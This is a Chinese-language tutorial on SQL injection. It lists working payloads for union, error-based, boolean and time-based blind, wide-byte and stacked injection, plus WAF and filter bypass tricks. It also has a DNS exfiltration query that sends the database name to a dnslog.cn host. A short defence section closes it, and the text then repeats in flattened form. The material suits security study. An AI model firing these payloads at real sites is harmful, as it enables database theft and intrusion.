SQL注入笔记
字数 1668 2025-08-10 20:57:54

SQL注入攻击与防御技术详解

1. SQL注入原理及危害

1.1 原理

SQL注入是攻击者通过构造特殊SQL代码在前端提交,由于前端、后端未对传递参数进行有效处理,导致后端将恶意SQL语句发送给数据库执行,从而获取数据库信息或服务器控制权的攻击方式。

1.2 危害

  • 获取数据库所有数据(库名、表名、字段名等)
  • 非法贩卖用户数据
  • 写入木马获取服务器控制权
  • 篡改网页内容

1.3 特点

  1. 广泛性:任何基于SQL语言的数据库都可能被攻击
  2. 隐蔽性:嵌入普通HTTP请求中,难以区分
  3. 危害大:威胁整个数据库系统安全
  4. 操作方便:工具简单易学

2. SQL注入过程及种类

2.1 SQL注入过程

  1. 探测注入点:寻找存在漏洞的动态网页
  2. 收集数据库信息:判断数据库类型
  3. 猜解凭证:获取表名、字段名、用户名和密码
  4. 查找后台入口:利用扫描工具寻找管理平台
  5. 入侵破坏:上传木马、篡改网页等

2.2 SQL注入种类

2.2.1 联合查询(显错注入)

前提:页面有显示位

基本语法

?id=9 union select 1,2 -- qwe
?id=9 union select 1,database() -- qwe
?id=9 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() -- qwe

2.2.2 报错注入

适用场景:无显示位但有错误信息输出

常用函数

  • updatexml()
  • extractvalue()

示例

?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) -- qwe
?id=1'^extractvalue(1,concat(0x5c,(select(database()))))%23

2.2.3 布尔盲注

适用场景:只能通过页面返回True/False判断

常用函数

  • substr()
  • length()
  • ascii()
  • left()/right()

示例

?id=1' and length(database())=1 -- qwe
?id=1' and ascii(substr(database(),1,1)) = 32 --qwe

2.2.4 时间盲注

适用场景:页面无任何明显变化

常用函数

  • if()
  • sleep()
  • benchmark()

示例

?id=1' and if(1=1,sleep(3),1)
?id=1' and if(ascii(substr(database(),1,1))=105,sleep(2),1) -- qwe

2.2.5 宽字节注入

原理:利用GBK编码特性绕过转义

示例

?id=1%df' order by 5--+
?id=1%df' and 1=2 union select 1,2,3,4,database()--+

2.2.6 HEAD注入

常见注入点

  • User-Agent
  • Cookie
  • Referer
  • X-forwarded-for

2.2.7 POST注入

与GET注入原理相同,仅提交方式不同

2.2.8 偏移注入(Access数据库)

适用场景:无法查询列名时

示例

union select 1,2,3,4,5,6,7,admin.* from admin

2.2.9 DNS注入

前提secure_file_priv选项为空

示例

select load_file(concat('//',(select database()),'.y7x7i.dnslog.cn'));

2.2.10 堆叠注入

原理:利用分号执行多条SQL语句

示例

?id=1;handler FlagHere open;handler FlagHere read next;handler FlagHere close;-- +

3. WAF与SQL注入过滤绕过

3.1 WAF原理

工作过程

  1. 解析HTTP请求
  2. 匹配规则
  3. 执行防御动作

3.2 绕过技术

3.2.1 编码绕过

  • URL编码
  • Unicode编码
  • Base64编码
  • Hex编码

3.2.2 其他绕过方式

  1. 字母大小写转换SeLeCt
  2. 空格过滤绕过
    • 使用+/**/替代
    • 使用空白符(%0A, %0D等)
  3. 双关键字ununionion
  4. 内联注释/*!50001select*/
  5. 异常Method:使用PUT等非常用方法
  6. 超大数据包:添加无用字符
  7. 复参数?id=1&id=2
  8. %00截断:利用空字节截断
  9. 协议未覆盖:使用multipart/form-data等
  10. 分块编码传输:使用Transfer-Encoding: chunked

3.3 特定过滤绕过技巧

  1. 空格过滤

    • %a0、%0B替代
    • 使用括号()绕过
  2. 特定字符过滤

    • 大小写混合
    • 双写关键字(anandd)
    • 特殊符号替代(&&替代and)
  3. 注释符过滤

    • 使用单双引号闭合
    • or '1'='1闭合
  4. 等号过滤

    • 使用>或<
    • 使用like
  5. 函数过滤

    • 使用功能相同函数替代
    • substring()mid()

4. 防御措施

  1. 参数化查询:使用预处理语句
  2. 输入验证:严格校验用户输入
  3. 最小权限原则:限制数据库账户权限
  4. 错误处理:避免显示详细错误信息
  5. WAF部署:使用Web应用防火墙
  6. 编码转换:统一字符编码
  7. 定期更新:及时修补已知漏洞

5. 工具与脚本

文中提供了Python脚本示例用于自动化布尔盲注和时间盲注攻击,可根据实际场景调整使用。


本技术文档全面涵盖了SQL注入的攻击原理、技术实现、绕过方法和防御措施,可作为安全研究和防御工作的参考指南。

SQL注入攻击与防御技术详解 1. SQL注入原理及危害 1.1 原理 SQL注入是攻击者通过构造特殊SQL代码在前端提交,由于前端、后端未对传递参数进行有效处理,导致后端将恶意SQL语句发送给数据库执行,从而获取数据库信息或服务器控制权的攻击方式。 1.2 危害 获取数据库所有数据(库名、表名、字段名等) 非法贩卖用户数据 写入木马获取服务器控制权 篡改网页内容 1.3 特点 广泛性 :任何基于SQL语言的数据库都可能被攻击 隐蔽性 :嵌入普通HTTP请求中,难以区分 危害大 :威胁整个数据库系统安全 操作方便 :工具简单易学 2. SQL注入过程及种类 2.1 SQL注入过程 探测注入点 :寻找存在漏洞的动态网页 收集数据库信息 :判断数据库类型 猜解凭证 :获取表名、字段名、用户名和密码 查找后台入口 :利用扫描工具寻找管理平台 入侵破坏 :上传木马、篡改网页等 2.2 SQL注入种类 2.2.1 联合查询(显错注入) 前提 :页面有显示位 基本语法 : 2.2.2 报错注入 适用场景 :无显示位但有错误信息输出 常用函数 : updatexml() extractvalue() 示例 : 2.2.3 布尔盲注 适用场景 :只能通过页面返回True/False判断 常用函数 : substr() length() ascii() left()/right() 示例 : 2.2.4 时间盲注 适用场景 :页面无任何明显变化 常用函数 : if() sleep() benchmark() 示例 : 2.2.5 宽字节注入 原理 :利用GBK编码特性绕过转义 示例 : 2.2.6 HEAD注入 常见注入点 : User-Agent Cookie Referer X-forwarded-for 2.2.7 POST注入 与GET注入原理相同,仅提交方式不同 2.2.8 偏移注入(Access数据库) 适用场景 :无法查询列名时 示例 : 2.2.9 DNS注入 前提 : secure_file_priv 选项为空 示例 : 2.2.10 堆叠注入 原理 :利用分号执行多条SQL语句 示例 : 3. WAF与SQL注入过滤绕过 3.1 WAF原理 工作过程 : 解析HTTP请求 匹配规则 执行防御动作 3.2 绕过技术 3.2.1 编码绕过 URL编码 Unicode编码 Base64编码 Hex编码 3.2.2 其他绕过方式 字母大小写转换 : SeLeCt 空格过滤绕过 : 使用 + 或 /**/ 替代 使用空白符(%0A, %0D等) 双关键字 : ununionion 内联注释 : /*!50001select*/ 异常Method :使用PUT等非常用方法 超大数据包 :添加无用字符 复参数 : ?id=1&id=2 %00截断 :利用空字节截断 协议未覆盖 :使用multipart/form-data等 分块编码传输 :使用Transfer-Encoding: chunked 3.3 特定过滤绕过技巧 空格过滤 : %a0、%0B替代 使用括号 () 绕过 特定字符过滤 : 大小写混合 双写关键字(anandd) 特殊符号替代(&&替代and) 注释符过滤 : 使用单双引号闭合 or '1'='1 闭合 等号过滤 : 使用>或 < 使用like 函数过滤 : 使用功能相同函数替代 substring() → mid() 4. 防御措施 参数化查询 :使用预处理语句 输入验证 :严格校验用户输入 最小权限原则 :限制数据库账户权限 错误处理 :避免显示详细错误信息 WAF部署 :使用Web应用防火墙 编码转换 :统一字符编码 定期更新 :及时修补已知漏洞 5. 工具与脚本 文中提供了Python脚本示例用于自动化布尔盲注和时间盲注攻击,可根据实际场景调整使用。 本技术文档全面涵盖了SQL注入的攻击原理、技术实现、绕过方法和防御措施,可作为安全研究和防御工作的参考指南。